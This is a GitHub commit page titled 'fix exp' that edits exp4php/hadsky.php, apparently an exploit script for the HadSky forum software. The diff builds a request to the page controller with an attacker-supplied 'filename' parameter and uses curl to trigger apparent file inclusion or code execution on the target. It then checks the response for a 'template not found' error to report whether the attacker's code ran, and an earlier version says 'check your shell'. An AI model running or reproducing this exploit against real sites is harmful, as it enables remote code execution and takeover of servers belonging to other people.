Skip to content

Commit c74f8bc

Browse files
author
haliluyapapapa
committed
fix exp
1 parent 33026ae commit c74f8bc

File tree

1 file changed

+9
-3
lines changed

1 file changed

+9
-3
lines changed

exp4php/hadsky.php

Lines changed: 9 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -46,14 +46,20 @@
4646
}
4747
if($argc==3)
4848
{
49-
$url=$argv[1].$argv[2];
49+
$url=$argv[1].'?c=page&filename='.$argv[2];
5050
curl_setopt($ch, CURLOPT_URL, $url);
5151
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
5252
curl_setopt($ch, CURLOPT_HEADER, 0);
5353
$out=curl_exec($ch);
54-
if($out)
54+
$error='未找到的模板文件!';
55+
$errorpos=strpos($out, $error);
56+
if($errorpos===false)
5557
{
56-
echo "done!check your shell";
58+
echo "Done,ur code has been excuted successfully!";
59+
}
60+
else
61+
{
62+
echo "Failed!";
5763
}
5864
}
5965
?>

0 commit comments

Comments
 (0)